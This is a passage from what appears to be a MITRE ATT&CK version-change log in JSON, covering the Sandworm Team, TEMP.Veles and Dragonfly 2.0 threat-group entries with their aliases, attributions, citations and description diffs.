\"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1" }, { "type": "intrusion-set", "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:04.588000+00:00", "modified": "2021-10-15 21:46:19.437000+00:00", "name": "Sandworm Team", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)", "aliases": [ "Sandworm Team", "ELECTRUM", "Telebots", "IRON VIKING", "BlackEnergy (Group)", "Quedagh", "VOODOO BEAR" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0034", "external_id": "G0034" }, { "source_name": "Sandworm Team", "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "ELECTRUM", "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "Telebots", "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "IRON VIKING", "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "BlackEnergy (Group)", "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "Quedagh", "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "VOODOO BEAR", "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "US District Court Indictment GRU Unit 74455 October 2020", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", "url": "https://www.justice.gov/opa/press-release/file/1328521/download" }, { "source_name": "UK NCSC Olympic Attacks October 2020", "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games" }, { "source_name": "iSIGHT Sandworm 2014", "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" }, { "source_name": "CrowdStrike VOODOO BEAR", "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" }, { "source_name": "USDOJ Sandworm Feb 2020", "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.", "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html" }, { "source_name": "NCSC Sandworm Feb 2020", "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory" }, { "source_name": "US District Court Indictment GRU Oct 2018", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", "url": "https://www.justice.gov/opa/page/file/1098481/download" }, { "source_name": "F-Secure BlackEnergy 2014", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" }, { "source_name": "InfoSecurity Sandworm Oct 2014", "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" }, { "source_name": "Dragos ELECTRUM", "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", "url": "https://www.dragos.com/resource/electrum/" }, { "source_name": "Secureworks IRON VIKING ", "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", "url": "https://www.secureworks.com/research/threat-profiles/iron-viking" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 21:46:19.437000+00:00\", \"old_value\": \"2021-04-13 13:13:09.511000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1" }, { "type": "intrusion-set", "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-04-16 15:14:38.533000+00:00", "modified": "2021-10-17 14:49:09.631000+00:00", "name": "TEMP.Veles", "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", "aliases": [ "TEMP.Veles", "XENOTIME" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0088", "external_id": "G0088" }, { "source_name": "TEMP.Veles", "description": "(Citation: FireEye TRITON 2019)" }, { "source_name": "XENOTIME", "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )" }, { "source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" }, { "source_name": "FireEye TEMP.Veles 2018", "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html" }, { "source_name": "FireEye TEMP.Veles JSON April 2019", "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.", "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html" }, { "source_name": "Dragos Xenotime 2018", "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", "url": "https://dragos.com/resource/xenotime/" }, { "source_name": "Pylos Xenotime 2019", "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.", "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/" }, { "source_name": "FireEye TEMP.Veles 2018 ", "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:49:09.631000+00:00\", \"old_value\": \"2021-02-09 14:34:04.242000+00:00\"}, \"root['description']\": {\"new_value\": \"[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)\", \"old_value\": \"[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )\", \"old_value\": \"The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html \"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rust1[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus
>sia-based threat group that has targeted critical infrastruc>sia-based threat group that has targeted critical infrastruc
>ture. The group has been observed utilizing TRITON, a malwar>ture. The group has been observed utilizing [TRITON](https:/
>e framework designed to manipulate industrial safety systems>/attack.mitre.org/software/S0609), a malware framework desig
>.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele>ned to manipulate industrial safety systems.(Citation: FireE
>s 2018)(Citation: FireEye TEMP.Veles JSON April 2019)>ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation:
 > FireEye TEMP.Veles JSON April 2019)
" } ], "other_version_changes": [ { "type": "intrusion-set", "id": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-10-14 20:07:00.932000+00:00", "name": "Dragonfly 2.0", "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", "aliases": [ "Dragonfly 2.0", "IRON LIBERTY", "DYMALLOY", "Berserk Bear" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0074", "external_id": "G0074" }, { "source_name": "Dragonfly 2.0", "description": "(Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)" }, { "source_name": "IRON LIBERTY", "description": "(Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY)" }, { "source_name": "DYMALLOY", "description": "(Citation: Dragos DYMALLOY )" }, { "source_name": "Berserk Bear", "description": "(Citation: Fortune Dragonfly 2.0 Sept 2017)" }, { "source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" }, { "source_name": "Symantec Dragonfly Sept 2017", "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" }, { "source_name": "Fortune Dragonfly 2.0 Sept 2017", "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" }, { "source_name": "Dragos DYMALLOY ", "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.", "url": "https://www.dragos.com/threat/dymalloy/" }, { "source_name": "Secureworks MCMD July 2019", "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.", "url": "https://www.secureworks.com/research/mcmd-malware-analysis" }, { "source_name": "Secureworks IRON LIBERTY", "description": "Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020.", "url": "https://www.secureworks.com/research/threat-profiles/iron-liberty" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 20:07:00.932000+00:00\", \"old_value\": \"2020-10-15 20:14:58.980000+00:00\"}, \"root['description']\": {\"new_value\": \"[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )\", \"old_value\": \"[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 2.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a t1[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a 
>suspected Russian group that has targeted government entitie>suspected Russian group that has targeted government entitie
>s and multiple U.S. critical infrastructure sectors since at>s and multiple U.S. critical infrastructure sectors since at
> least March 2016. (Citation: US-CERT TA18-074A) (Citation: > least December 2015. (Citation: US-CERT TA18-074A) (Citatio
>Symantec Dragonfly Sept 2017) There is debate over the exten>n: Symantec Dragonfly Sept 2017) There is debate over the ex
>t of overlap between [Dragonfly 2.0](https://attack.mitre.or>tent of overlap between [Dragonfly 2.0](https://attack.mitre
>g/groups/G0074) and [Dragonfly](https://attack.mitre.org/gro>.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/
>ups/G0035), but there is sufficient evidence to lead to thes>groups/G0035), but there is sufficient evidence to lead to t
>e being tracked as two separate groups. (Citation: Fortune D>hese being tracked as two separate groups. (Citation: Fortun
>ragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )>e Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )
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